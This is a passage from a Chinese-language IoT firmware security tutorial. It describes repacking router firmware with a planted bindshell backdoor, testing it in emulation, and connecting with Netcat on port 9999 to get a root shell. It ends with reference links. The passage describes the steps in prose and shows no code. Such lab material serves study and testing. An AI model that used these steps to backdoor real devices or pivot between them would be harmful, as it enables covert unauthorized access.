執行完成后,會在目錄 firmware-name/中生成新的固件,新固件名為 new-firmware.bin。
7)此時就創建完成了新的固件鏡像,我們可以將新固件復制到 FAT 目錄中,并通過仿真來驗證新添加的后門是否能夠正常運行。這里同之前固件仿真的步驟相同。操作步驟如圖 5 所示。
如圖所示,固件仿真時獲得的 IP 地址為 192.168.0.1,此時可以嘗試訪問該地址。但我們更關注在固件中添加的后門 bindshell 是否已經成功啟動。
8)現在嘗試運行 Netcat 連接目標 IP 的 9999 端口,檢查后門是否成功啟動,如圖所示。
根據執行結果,可以看到我們已經對固件進行了修改并成功植入了后門,因此此時成功獲得了設備中具有 root 權限的 shell。而獲得擁有 root 權限的 shell 之后,用戶還可以修改設備的其他配置,或者將其作為跳板遠程訪問其他植入惡意固件的設備。
參考文獻
https://github.com/ffffffff0x/1earn/blob/master/1earn/Security/IOT/固件安全/實驗/Dlink_DWR-932B路由器固件分析.md
https://github.com/G4rb3n/IoT_Sec_Tutorial/blob/master/02-靜態分析IoT固件/README.md
https://zhuanlan.zhihu.com/p/146228197
固件提取實戰(附無損提取方案)
https://zhuanlan.zhihu.com/p/358956098
https://www.infoq.cn/article/8ukqrgkhcoxkrvnjnki6